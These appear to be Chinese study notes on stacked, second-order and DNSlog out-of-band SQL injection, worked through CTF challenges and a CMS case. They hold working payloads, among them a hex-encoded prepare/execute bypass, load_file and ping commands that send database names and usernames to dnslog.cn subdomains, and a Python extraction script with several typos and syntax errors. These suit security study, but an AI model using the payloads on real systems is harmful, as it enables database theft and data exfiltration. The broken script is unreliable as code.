知识点
1、数据库堆叠注入
根据数据库类型决定是否支持多条语句执行
2、数据库二次注入
应用功能逻辑设计上导致的先写入后组合的注入
3、数据库Dnslog注入
解决不回显(反向连接),SQL注入,命令执行,SSRF等
4、黑盒模式分析以上
二次注入:插入后调用显示操作符合
堆叠注入:判断注入后直接调多条执行
DNS注入:在注入上没太大利用价值,其他还行
DNS利用-平台介绍&SQL注入&命令执行等
1、平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
2、应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL注入:
select load_file(concat(‘\\‘,(select database()),’.7logee.dnslog.cn\aa’));and (select load_file(concat(‘//‘,(select database()),’.68knl9.dnslog.cn/abc’)))
命令执行:
ping %USERNAME%.7logee.dnslog.cn
案例
二次注入-74CMS&网鼎杯2018Unfinish
堆叠注入-数据库类型&强网杯2019随便注
DNS利用-平台介绍&SQL注入&命令执行等
根据数据库类型决定是否支持多条语句执行
支持堆叠数据库类型:MYSQL MSSQL ORACLE等
‘;show databases;
‘;show tables;
‘;show columns from ‘1919810931114514’;
‘;select flag from’ ‘1919810931114514’;
‘;SeT
select * from news where id=1;create table xiaodi like news;
堆叠注入:将后面的语句设计为一个SQL语句
相关文章:cnblogs.com/backlion/p/9721687.html
是否有堆叠注入的判断:
1、判断数据库的类型是否支持堆叠注入
2、注入的语句是否能成功执行
堆叠注入-数据库类型&强网杯2019随便注
当输入1的时候,看到了取出来一个haha值,没什么卵用
输入1;show databases,就把数据库的名字全都爆出来了
存在过滤,当输入1;select database();时select被过滤掉了
当输入1;show tables;得到所有的表
输入1;show columns from “1919810931114514”;得到下面的字段有flag
16进制编码mysql数据库是可以识别的,所以我们可以把原先的sql注入语句给16进制加密以下再赋值给某个值,再用堆叠注入拼接一下语句,就可以继续注入了
select flag from “1919810931114514”16进制加密后的结果是0x73656c65637420666c61672066726f6d20223139313938313039333131313435313422
最终的payload:1’;SeT @a=0x73656c65637420666c61672066726f6d20223139313938313039333131313435313422;prepare execsql from @a;execute exesql;
找回密码应用功能:
我们登录了一个用户,在用户的界面上有找回密码的功能
找回密码:
得到你的用户名(你要找回谁的密码)
没有登录用户,我点找回密码,是不是先要输入你要找的目标
如果登录了用户,一般网站就直接进入了验证过程(已经知道你是谁了)
接受获取你的用户名,修改密码(查询方式:update)
update sql
update user set password = ‘xiaodi’ where username = ‘SQL注入代码’
如果我在注册用户名的时候,写的是一个SQL注入的语句呢?
二次注入-骑士CMS&网鼎杯2018Unfinish
网鼎杯2018Unfinish
注册用户:添加
邮箱,用户名,密码
INSERT INTO user (emal.username,password) value (‘xiaodi@qq.com‘,’xiaodi’,’xiaodi’)
登录:
邮箱,密码
进入用户中心;有个人的用户名
select username from user where email=”xiaodi@qq.com“
详细代码:
import requests
from bs4 import Beautifulsoup
import time
url= "http://xxxx"
m=''
for i in range(100):
payload = "0'+ascii(substr((select * from flag)from {} fro 1))+'0".format(i+1)"
register = {'email': 'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {'email' : 'abc'{}@qq.com'.foramt(i),'password':'123456'}
req = requests.session()
r1= req.post(url + 'register.php',data = register)
r2= reg.post(url + 'login.php',data = login)
r3= req.post(url + 'index.php')
html = r3.text
soup = BeautifulSoup(html,'html.paraser')
UserName = soup.span.string.strip()
if int(UserName) == 0:
break
m += chr(int(UserName))
print(m)
time.sleep(1)
骑士CMS
在学校名称处加上xiaodi’,address=user()# user在mysql里代表查询用户名,这样就可以成功注入,在联系地址一栏就可以看到用户名
插入的攻击 insert攻击可行,但是直接修改那是 update,攻击就失效了
xiaodi’,address=version()#
想查看版本号也是同样的方法,写上version(),就可以在联系地址这一栏看到版本是5.5.53
黑盒角度:那么是什么原因造成这个漏洞的?它接受了很多资料信息
学校名称:
xiaodi’,address=user()#
地址:123
address = user()
insert address value(“,uer()#’)
白盒角度:
只有在执行插入操作的时候,才会调用数据库
先插入的学校名称
写到resume_education
执行:
显示:
第一步是插入,第二步是更新写到数据库,insert负责写到数据库,update负责调用数据库的数据。
DNS利用-平台介绍&SQL注入&命令执行等
DNS注入的原理是让服务器自己去访问网站,通过网站传输的参数来获取值
ping一下这个网站,可以接受到ping的请求
输入ping %USERNAME%.h7ihet.dnslog.cn 就可以返回请求的用户名
用网站去访问这个DNS,DNS就会解析数据
是成功接收到了数据的,数据库的名字和版本
在SQL注入里面,只有这个能用,其他的都不能用,因为必须要支持注入点可以访问load_file,基本上只有mysql数据库可以使用,但是其他数据库很多都没有,而且还得是高权限注入才可以,可是已经是高权限了,就根本不需要用这个DNS了,所以其实就没什么用,但是在命令执行里面还是有点用的
有一些防火墙和设备会阻止一些数据的出网,但是DNS协议是经常不会被挡的一种协议